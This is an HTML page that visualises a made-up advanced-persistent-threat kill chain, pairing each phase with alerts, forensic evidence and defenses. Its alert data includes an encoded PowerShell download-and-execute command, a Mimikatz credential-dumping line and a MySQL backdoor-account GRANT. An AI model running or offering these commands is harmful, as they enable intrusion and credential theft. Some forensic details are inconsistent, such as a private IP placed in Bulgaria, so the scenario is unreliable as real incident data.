|
|
<!DOCTYPE html> |
|
|
<html lang="en"> |
|
|
<head> |
|
|
<meta charset="UTF-8"> |
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0"> |
|
|
<title>Attack Flow Timeline Visualization</title> |
|
|
<script src="https://cdn.tailwindcss.com"></script> |
|
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> |
|
|
<style> |
|
|
.attack-card { |
|
|
transition: all 0.3s ease; |
|
|
transform-origin: center; |
|
|
} |
|
|
.attack-card:hover { |
|
|
transform: translateY(-5px); |
|
|
box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1); |
|
|
} |
|
|
.attack-card.active { |
|
|
border-left-width: 4px; |
|
|
transform: translateY(-5px); |
|
|
} |
|
|
.timeline-connector { |
|
|
position: relative; |
|
|
height: 4px; |
|
|
background: linear-gradient(90deg, #e5e7eb, #9ca3af); |
|
|
} |
|
|
.timeline-connector::after { |
|
|
content: ''; |
|
|
position: absolute; |
|
|
top: -4px; |
|
|
width: 12px; |
|
|
height: 12px; |
|
|
border-radius: 50%; |
|
|
background-color: #3b82f6; |
|
|
transform: translateX(-50%); |
|
|
} |
|
|
.severity-badge { |
|
|
font-size: 0.65rem; |
|
|
padding: 0.15rem 0.4rem; |
|
|
} |
|
|
.severity-critical { |
|
|
background-color: #fee2e2; |
|
|
color: #dc2626; |
|
|
} |
|
|
.severity-high { |
|
|
background-color: #fef3c7; |
|
|
color: #d97706; |
|
|
} |
|
|
.severity-emergency { |
|
|
background-color: #ffedd5; |
|
|
color: #ea580c; |
|
|
} |
|
|
.defense-badge { |
|
|
font-size: 0.7rem; |
|
|
padding: 0.2rem 0.5rem; |
|
|
} |
|
|
.animate-pulse-slow { |
|
|
animation: pulse 3s cubic-bezier(0.4, 0, 0.6, 1) infinite; |
|
|
} |
|
|
@keyframes pulse { |
|
|
0%, 100% { |
|
|
opacity: 1; |
|
|
} |
|
|
50% { |
|
|
opacity: 0.5; |
|
|
} |
|
|
} |
|
|
.attack-flow-container { |
|
|
scroll-behavior: smooth; |
|
|
} |
|
|
.forensic-grid { |
|
|
display: grid; |
|
|
grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); |
|
|
gap: 1.5rem; |
|
|
} |
|
|
.forensic-item { |
|
|
background-color: #f9fafb; |
|
|
border-radius: 0.5rem; |
|
|
padding: 1.25rem; |
|
|
border-left: 4px solid #3b82f6; |
|
|
} |
|
|
.alert-item { |
|
|
transition: all 0.2s ease; |
|
|
} |
|
|
.alert-item:hover { |
|
|
transform: translateY(-2px); |
|
|
} |
|
|
</style> |
|
|
</head> |
|
|
<body class="bg-gray-50 min-h-screen"> |
|
|
<div class="container mx-auto px-4 py-8 max-w-7xl"> |
|
|
<div class="text-center mb-10"> |
|
|
<h1 class="text-4xl font-bold text-gray-800 mb-3">Advanced Persistent Threat Kill Chain</h1> |
|
|
<p class="text-lg text-gray-600 max-w-4xl mx-auto">Comprehensive visualization of the complete attack flow with detailed forensic evidence and defense mechanisms</p> |
|
|
</div> |
|
|
|
|
|
<div class="bg-white rounded-xl shadow-sm border border-gray-200 p-6 mb-8"> |
|
|
<div class="flex justify-between items-center mb-6"> |
|
|
<div> |
|
|
<h2 class="text-2xl font-semibold text-gray-800 mb-1">Attack Flow Timeline</h2> |
|
|
<p class="text-gray-500">Click on any attack phase to view detailed forensic evidence and triggered defenses</p> |
|
|
</div> |
|
|
<div class="flex space-x-2"> |
|
|
<button id="scroll-left" class="p-2 bg-white rounded-md border border-gray-200 hover:bg-gray-50 text-gray-700"> |
|
|
<i class="fas fa-chevron-left"></i> |
|
|
</button> |
|
|
<button id="scroll-right" class="p-2 bg-white rounded-md border border-gray-200 hover:bg-gray-50 text-gray-700"> |
|
|
<i class="fas fa-chevron-right"></i> |
|
|
</button> |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
<div class="relative"> |
|
|
<div class="attack-flow-container overflow-x-auto pb-6 -mx-4 px-4" style="scrollbar-width: none;"> |
|
|
<div class="flex space-x-6 min-w-max"> |
|
|
|
|
|
<div class="flex items-center"> |
|
|
<div class="timeline-connector w-32" style="background: linear-gradient(90deg, #3b82f6, #9ca3af);"></div> |
|
|
</div> |
|
|
|
|
|
|
|
|
</div> |
|
|
</div> |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
<div class="bg-white rounded-xl shadow-sm border border-gray-200 overflow-hidden"> |
|
|
<div class="border-b border-gray-200 px-8 py-5 bg-gray-50"> |
|
|
<h3 class="text-2xl font-semibold text-gray-800">Attack Phase Forensic Details</h3> |
|
|
</div> |
|
|
<div id="attack-details" class="p-8"> |
|
|
<div class="text-center py-16"> |
|
|
<div class="mx-auto w-20 h-20 rounded-full bg-blue-50 flex items-center justify-center mb-6"> |
|
|
<i class="fas fa-mouse-pointer text-blue-500 text-3xl"></i> |
|
|
</div> |
|
|
<h4 class="text-xl font-medium text-gray-700 mb-3">Select an attack phase</h4> |
|
|
<p class="text-gray-500 max-w-xl mx-auto text-lg">Click on any attack card in the timeline to view detailed forensic information about the attack behavior and triggered defenses</p> |
|
|
</div> |
|
|
</div> |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
<script> |
|
|
|
|
|
const attackSteps = [ |
|
|
{ |
|
|
id: 1, |
|
|
title: "Phishing Email Delivery", |
|
|
icon: "envelope", |
|
|
color: "bg-red-100 text-red-600", |
|
|
behavior: "Forged 'Embrace AI Change' notification email containing malicious file disguised as files.zip. The email was carefully crafted to mimic legitimate corporate communications, using social engineering techniques to bypass user skepticism. The attachment contained a weaponized document exploiting CVE-2021-40444 (Microsoft MSHTML Remote Code Execution Vulnerability).", |
|
|
defenses: "Email Security Gateway, Sender Policy Framework (SPF), DMARC", |
|
|
alerts: [ |
|
|
{ |
|
|
severity: "critical", |
|
|
message: "Detected spoofed sender email | From: itsupport@fakecompany[.]com → To: victim@corp.com | Contains malicious attachment (SHA256: a1b2c3...) | Identified as Emotet phishing template" |
|
|
}, |
|
|
{ |
|
|
severity: "high", |
|
|
message: "DMARC authentication failed | Domain: fakecompany.com | SPF alignment mismatch | DKIM signature invalid" |
|
|
} |
|
|
], |
|
|
forensic: [ |
|
|
"Sender IP: 192.168.1.45 (Bulgaria) | ASN: AS12345 (Bulgarian Hosting Provider)", |
|
|
"Attachment SHA256: a1b2c3d4e5f6... | File type: ZIP archive containing VBS script", |
|
|
"Email headers show DKIM failure | SPF softfail | DMARC policy=none", |
|
|
"Matched known Emotet template (90% similarity) | Subject: 'Urgent: AI Implementation Guidelines'", |
|
|
"Recipient: j.smith@corp.com | Received: 2023-05-15 08:23 UTC", |
|
|
"X-Mailer: Microsoft Outlook 16.0 | MIME-Version: 1.0", |
|
|
"Embedded tracking pixel: http://track.fakecompany[.]com/pixel.gif" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
id: 2, |
|
|
title: "Trojan Execution", |
|
|
icon: "bug", |
|
|
color: "bg-yellow-100 text-yellow-600", |
|
|
behavior: "Victim downloads malicious file triggering PowerShell script that downloads Cobalt Strike DLL and injects into legitimate process. The attack chain involved multiple stages: initial VBS script execution, PowerShell command obfuscation, memory injection into explorer.exe, and establishing persistence via scheduled tasks. The malware employed API unhooking to evade EDR detection.", |
|
|
defenses: "Endpoint Detection & Response (EDR), Anti-Virus, Application Whitelisting", |
|
|
alerts: [ |
|
|
{ |
|
|
severity: "high", |
|
|
message: "Suspicious process injection | Process: C:\\Windows\\System32\\explorer.exe → Loaded module: a09xdf.dll | DLL signature invalid and matches known Cobalt Strike signature" |
|
|
}, |
|
|
{ |
|
|
severity: "emergency", |
|
|
message: "Unusual PowerShell activity | Command line: -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgA0ADUALwBkAGwAbAAuAGUAeABlACcAKQA=" |
|
|
} |
|
|
], |
|
|
forensic: [ |
|
|
"Process tree: files.zip → wscript.exe → powershell.exe → explorer.exe", |
|
|
"DLL memory allocation pattern matches Cobalt Strike Beacon (version 4.3)", |
|
|
"Network connection attempt to 185.123.32.1 (Port 443) | SSL certificate CN=*.cdn-aws.com", |
|
|
"Registry key modification: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", |
|
|
"Scheduled task created: 'MicrosoftEdgeUpdate' running every 30 minutes", |
|
|
"File dropped: C:\\Users\\Public\\Documents\\report.pdf.exe (SHA256: d4e5f6...)", |
|
|
"Memory artifacts: XOR-encoded C2 configuration found in explorer.exe memory" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
id: 3, |
|
|
title: "C2 Establishment", |
|
|
icon: "satellite-dish", |
|
|
color: "bg-green-100 text-green-600", |
|
|
behavior: "HTTPS heartbeat communication via CDN domain (api.cloudfront[.]com), deploying reverse SSH tunnel to internal jump server. The malware established encrypted C2 channels using domain fronting techniques to blend with legitimate cloud traffic. Secondary persistence was achieved through WMI event subscriptions. The attacker deployed additional tools including Mimikatz and BloodHound for reconnaissance.", |
|
|
defenses: "Network Traffic Analysis (NTA), SSL Inspection, IDS/IPS", |
|
|
alerts: [ |
|
|
{ |
|
|
severity: "emergency", |
|
|
message: "Anomalous outbound connection | Target IP: 54.231.1.1 (AWS Singapore) | Protocol: HTTPS | Abnormal certificate (CN=*.cloudfront[.]com but issued by wildcard Let's Encrypt cert)" |
|
|
}, |
|
|
{ |
|
|
severity: "critical", |
|
|
message: "Suspicious WMI event subscription created | EventFilter: __EventFilter.Name='WindowsUpdateFilter' | Consumer: ActiveScriptEventConsumer" |
|
|
} |
|
|
], |
|
|
forensic: [ |
|
|
"C2 Domain: api.cloudfront[.]com (resolved to 54.231.1.1) | TTL: 60s", |
|
|
"HTTPS traffic pattern: 5KB every 17 seconds | JA3 fingerprint: 6734f3...", |
|
|
"Certificate issuer: Let's Encrypt (unusual for CDN traffic) | Valid until: 2023-08-30", |
|
|
"SSH tunnel established to 10.8.8.12 (internal jump server) | Port forwarding: 3389→13389", |
|
|
"WMI persistence: __EventFilter.Name='WindowsUpdateFilter'", |
|
|
"Tools downloaded: mimikatz.exe, bloodhound.zip, nbtscan.exe", |
|
|
"Lateral movement attempts detected via SMB (Port 445)" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
id: 4, |
|
|
title: "Credential Theft", |
|
|
icon: "user-secret", |
|
|
color: "bg-blue-100 text-blue-600", |
|
|
behavior: "Using Mimikatz to extract Chrome browser cookies and forging User-Agent (synchronizing victim's browser fingerprint). The attacker performed Kerberoasting attacks against Active Directory, extracting service account hashes. Browser session hijacking was conducted by stealing authentication cookies from Chrome and Edge profiles. The attacker then used these credentials to access O365 and internal applications.", |
|
|
defenses: "User Behavior Analytics (UEBA), Active Directory Monitoring, Credential Guard", |
|
|
alerts: [ |
|
|
{ |
|
|
severity: "high", |
|
|
message: "Abnormal browser session | User: Victim_Account | Source IP: 172.16.1.23 → Device fingerprint changed (new VM characteristics/QEMU virtual GPU)" |
|
|
}, |
|
|
{ |
|
|
severity: "critical", |
|
|
message: "Kerberoasting attack detected | Account: sql_svc | Service: MSSQLSvc/db01.corp.com | TGS requests: 42 in 5 minutes" |
|
|
} |
|
|
], |
|
|
forensic: [ |
|
|
"Mimikatz process detected in memory (obfuscated as svchost.exe) | Command line: 'privilege::debug sekurlsa::logonpasswords'", |
|
|
"Chrome cookie database accessed | Cookies stolen: 14 (including O365 session)", |
|
|
"User-Agent changed to match victim's original browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", |
|
|
"New login session from 172.16.1.23 with VM fingerprint | GPU: QEMU Virtual GPU", |
|
|
"Kerberoasting: 42 TGS-REQ requests for sql_svc account", |
|
|
"Browser extensions accessed: LastPass, Chrome Remote Desktop", |
|
|
"Registry keys modified: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
id: 5, |
|
|
title: "Cloud Docs Penetration", |
|
|
icon: "cloud", |
|
|
color: "bg-purple-100 text-purple-600", |
|
|
behavior: "Hijacked Yuque API Token used to access 'Production Environment Operations Manual', extracting embedded SSH private key (Base64 encoded). The attacker leveraged stolen OAuth tokens to access cloud documentation repositories. Critical infrastructure documentation was exfiltrated, including network diagrams, credentials, and system configurations. The attacker then used these credentials to access jump servers and database systems.", |
|
|
defenses: "Data Loss Prevention (DLP), Cloud Access Security Broker (CASB), API Monitoring", |
|
|
alerts: [ |
|
|
{ |
|
|
severity: "critical", |
|
|
message: "Sensitive data access | User: Victim_Account | Action: Downloaded document ID: YUQUE-1234 | Content matched keyword: 'prod_ssh_private_key'" |
|
|
}, |
|
|
{ |
|
|
severity: "high", |
|
|
message: "Unusual API access pattern | Application: Yuque Desktop Client | Location: Singapore (unusual for user)" |
|
|
} |
|
|
], |
|
|
forensic: [ |
|
|
"API call to yuque.com/v2/api/documents/YUQUE-1234 | Method: GET | Status: 200", |
|
|
"Document contains Base64 encoded SSH key | Key belongs to dba_admin@10.8.8.88", |
|
|
"Unusual access time: 02:37 AM local time | Source IP: 172.16.1.23", |
|
|
"Documents accessed: 'Production Network Diagram', 'Database Credentials', 'VPN Configuration'", |
|
|
"OAuth token reused from stolen browser session | Client ID: yuque-desktop-client", |
|
|
"Data exfiltration via Pastebin API | Paste ID: xYz123 | Content: Base64 encoded", |
|
|
"Cloud storage accessed: OneDrive, SharePoint, Confluence" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
id: 6, |
|
|
title: "Production Intrusion", |
|
|
icon: "server", |
|
|
color: "bg-pink-100 text-pink-600", |
|
|
behavior: "Using SSH certificate from jump server to log into MySQL database server (IP: 10.8.8.88, account: dba_admin). The attacker performed database reconnaissance, dumping user tables and configuration. They then deployed additional backdoors via MySQL UDF functions and created new admin accounts. The attacker escalated privileges to root using a vulnerable SUID binary (CVE-2021-4034).", |
|
|
defenses: "Host Intrusion Detection (HIDS), Database Activity Monitoring, Privileged Access Management", |
|
|
alerts: [ |
|
|
{ |
|
|
severity: "emergency", |
|
|
message: "Unusual time SSH login | Account: dba_admin | Source IP: 10.8.8.12 (test env jump server) | Action: Executed SHOW DATABASES" |
|
|
}, |
|
|
{ |
|
|
severity: "critical", |
|
|
message: "Database privilege escalation | MySQL command: GRANT ALL PRIVILEGES ON *.* TO 'backdoor'@'%' IDENTIFIED BY 'P@ssw0rd'" |
|
|
} |
|
|
], |
|
|
forensic: [ |
|
|
"SSH login at 03:12 AM from 10.8.8.12 | Duration: 8 minutes 23 seconds", |
|
|
"Executed commands: SHOW DATABASES, SELECT * FROM users, DESCRIBE payment_info", |
|
|
"Unusual query pattern: scanning all tables with SELECT * FROM information_schema.tables", |
|
|
"MySQL UDF function created: lib_mysqludf_sys.so | Used to execute OS commands", |
|
|
"New accounts created: backdoor (MySQL), pentest (system)", |
|
|
"SUID exploit: pkexec --version (CVE-2021-4034) | Result: root shell obtained", |
|
|
"Log tampering: /var/log/auth.log and /var/log/mysql.log modified" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
id: 7, |
|
|
title: "Data Exfiltration", |
|
|
icon: "file-export", |
|
|
color: "bg-indigo-100 text-indigo-600", |
|
|
behavior: "Compressed and encrypted customer data (filename: taobaodata.tar.gz.enc) transmitted via DNS tunnel to alibaba-bas.com. The attacker used multiple exfiltration methods including DNS tunneling, HTTPS uploads to cloud storage, and ICMP covert channels. Data was staged in /tmp before exfiltration and included PII, payment records, and intellectual property. The attacker cleaned logs and deployed ransomware as a distraction.", |
|
|
defenses: "Full Traffic Threat Analysis, Data Loss Prevention, DNS Filtering", |
|
|
alerts: [ |
|
|
{ |
|
|
severity: "critical", |
|
|
message: "Abnormal data transfer | Protocol: DNS TXT records | Target domain: xyz.attacker[.]com | Data volume: 142MB (500% above threshold)" |
|
|
}, |
|
|
{ |
|
|
severity: "emergency", |
|
|
message: "Ransomware signature detected | File: /usr/bin/encryptor | Behavior: AES-256 file encryption with .locked extension" |
|
|
} |
|
|
], |
|
|
forensic: [ |
|
|
"Data file created: /tmp/taobaodata.tar.gz.enc | Size: 142MB | Contents: customer PII, payment records", |
|
|
"DNS queries to xyz.attacker[.]com (TXT records) | Rate: 18.5KB per query | Total: 8,234 requests", |
|
|
"HTTPS upload to storage.googleapis.com | Bucket: exfil-bucket-123 | Credentials: stolen OAuth token", |
|
|
"ICMP covert channel detected | Payload size: 512 bytes per packet | Destination: 8.8.8.8", |
|
|
"Ransomware deployed: encryptor (SHA256: a1b2...) | Files affected: 12,342 | Extension: .locked", |
|
|
"Log cleaning: /var/log/*.log truncated | History files deleted: .bash_history, .mysql_history", |
|
|
"Persistence: cron job added (@reboot /usr/bin/encryptor --decrypt)" |
|
|
] |
|
|
} |
|
|
]; |
|
|
|
|
|
|
|
|
const timelineContainer = document.querySelector('.attack-flow-container .flex'); |
|
|
|
|
|
attackSteps.forEach((step, index) => { |
|
|
const card = document.createElement('div'); |
|
|
card.className = `attack-card w-80 flex-shrink-0 bg-white rounded-lg border border-gray-200 overflow-hidden cursor-pointer transition-all duration-300 ${index === 0 ? 'active border-l-4 border-red-500' : ''}`; |
|
|
card.innerHTML = ` |
|
|
<div class="p-6"> |
|
|
<div class="flex items-center justify-between mb-4"> |
|
|
<div class="flex items-center"> |
|
|
<div class="w-12 h-12 rounded-full ${step.color} flex items-center justify-center mr-3"> |
|
|
<i class="fas fa-${step.icon} text-lg"></i> |
|
|
</div> |
|
|
<span class="text-sm font-semibold text-gray-500">PHASE ${step.id}</span> |
|
|
</div> |
|
|
<span class="severity-badge ${step.alerts[0].severity === 'critical' ? 'severity-critical' : step.alerts[0].severity === 'high' ? 'severity-high' : 'severity-emergency'} rounded-full">${step.alerts[0].severity.toUpperCase()}</span> |
|
|
</div> |
|
|
<h3 class="text-lg font-semibold text-gray-800 mb-3">${step.title}</h3> |
|
|
<p class="text-sm text-gray-600 line-clamp-3 mb-4">${step.behavior}</p> |
|
|
<div class="flex justify-between items-center"> |
|
|
<span class="defense-badge bg-gray-100 text-gray-800 rounded-full text-xs">${step.defenses}</span> |
|
|
<span class="text-xs text-gray-400">${step.id < 10 ? '0' + step.id : step.id}:00</span> |
|
|
</div> |
|
|
</div> |
|
|
`; |
|
|
|
|
|
card.addEventListener('click', () => { |
|
|
|
|
|
document.querySelectorAll('.attack-card').forEach(c => c.classList.remove('active', 'border-l-4', 'border-red-500', 'border-yellow-500', 'border-green-500', 'border-blue-500', 'border-purple-500', 'border-pink-500', 'border-indigo-500')); |
|
|
card.classList.add('active', 'border-l-4'); |
|
|
|
|
|
|
|
|
if (step.color.includes('red')) card.classList.add('border-red-500'); |
|
|
else if (step.color.includes('yellow')) card.classList.add('border-yellow-500'); |
|
|
else if (step.color.includes('green')) card.classList.add('border-green-500'); |
|
|
else if (step.color.includes('blue')) card.classList.add('border-blue-500'); |
|
|
else if (step.color.includes('purple')) card.classList.add('border-purple-500'); |
|
|
else if (step.color.includes('pink')) card.classList.add('border-pink-500'); |
|
|
else if (step.color.includes('indigo')) card.classList.add('border-indigo-500'); |
|
|
|
|
|
|
|
|
const detailsContainer = document.getElementById('attack-details'); |
|
|
detailsContainer.innerHTML = ` |
|
|
<div> |
|
|
<div class="flex items-center mb-8"> |
|
|
<div class="w-16 h-16 rounded-full ${step.color} flex items-center justify-center mr-5"> |
|
|
<i class="fas fa-${step.icon} text-2xl"></i> |
|
|
</div> |
|
|
<div> |
|
|
<h3 class="text-2xl font-semibold text-gray-800">${step.title}</h3> |
|
|
<p class="text-gray-500">Attack Phase ${step.id} - ${step.id < 10 ? '0' + step.id : step.id}:00</p> |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
<div class="mb-8"> |
|
|
<h4 class="text-lg font-medium text-gray-700 mb-4">Attack Behavior</h4> |
|
|
<div class="bg-gray-50 p-5 rounded-lg text-gray-700 border border-gray-200">${step.behavior}</div> |
|
|
</div> |
|
|
|
|
|
<div class="mb-8"> |
|
|
<h4 class="text-lg font-medium text-gray-700 mb-4">Triggered Defenses</h4> |
|
|
<div class="flex flex-wrap gap-2"> |
|
|
${step.defenses.split(', ').map(defense => ` |
|
|
<span class="defense-badge bg-gray-100 text-gray-800 rounded-full px-3 py-1.5 text-sm">${defense}</span> |
|
|
`).join('')} |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
<div class="mb-8"> |
|
|
<h4 class="text-lg font-medium text-gray-700 mb-4">Security Alerts</h4> |
|
|
<div class="space-y-4"> |
|
|
${step.alerts.map(alert => ` |
|
|
<div class="alert-item p-4 rounded-lg ${alert.severity === 'critical' ? 'bg-red-50 border border-red-100' : alert.severity === 'high' ? 'bg-yellow-50 border border-yellow-100' : 'bg-orange-50 border border-orange-100'}"> |
|
|
<div class="flex items-start"> |
|
|
<div class="flex-shrink-0 mt-1"> |
|
|
<i class="fas fa-${alert.severity === 'critical' ? 'exclamation-triangle text-red-500' : alert.severity === 'high' ? 'exclamation-circle text-yellow-500' : 'exclamation text-orange-500'}"></i> |
|
|
</div> |
|
|
<div class="ml-4"> |
|
|
<div class="text-base font-medium text-gray-800">${alert.message}</div> |
|
|
</div> |
|
|
</div> |
|
|
</div> |
|
|
`).join('')} |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
<div> |
|
|
<h4 class="text-lg font-medium text-gray-700 mb-4">Forensic Evidence</h4> |
|
|
<div class="forensic-grid"> |
|
|
${step.forensic.map(item => ` |
|
|
<div class="forensic-item"> |
|
|
<div class="flex items-start text-base"> |
|
|
<div class="flex-shrink-0 mt-1.5 mr-3"> |
|
|
<div class="w-2 h-2 rounded-full bg-blue-500"></div> |
|
|
</div> |
|
|
<div class="text-gray-700">${item}</div> |
|
|
</div> |
|
|
</div> |
|
|
`).join('')} |
|
|
</div> |
|
|
</div> |
|
|
</div> |
|
|
`; |
|
|
|
|
|
|
|
|
const container = document.querySelector('.attack-flow-container'); |
|
|
const cardLeft = card.offsetLeft; |
|
|
const cardWidth = card.offsetWidth; |
|
|
const containerWidth = container.offsetWidth; |
|
|
container.scrollTo({ |
|
|
left: cardLeft - (containerWidth / 2) + (cardWidth / 2), |
|
|
behavior: 'smooth' |
|
|
}); |
|
|
}); |
|
|
|
|
|
|
|
|
timelineContainer.appendChild(card); |
|
|
if (index < attackSteps.length - 1) { |
|
|
const connector = document.createElement('div'); |
|
|
connector.className = 'flex items-center'; |
|
|
connector.innerHTML = '<div class="timeline-connector w-32"></div>'; |
|
|
timelineContainer.appendChild(connector); |
|
|
} |
|
|
}); |
|
|
|
|
|
|
|
|
document.getElementById('scroll-left').addEventListener('click', () => { |
|
|
document.querySelector('.attack-flow-container').scrollBy({ |
|
|
left: -300, |
|
|
behavior: 'smooth' |
|
|
}); |
|
|
}); |
|
|
|
|
|
document.getElementById('scroll-right').addEventListener('click', () => { |
|
|
document.querySelector('.attack-flow-container').scrollBy({ |
|
|
left: 300, |
|
|
behavior: 'smooth' |
|
|
}); |
|
|
}); |
|
|
|
|
|
|
|
|
document.querySelector('.attack-card').click(); |
|
|
</script> |
|
|
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=capta1n/bastest" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body> |
|
|
</html> |
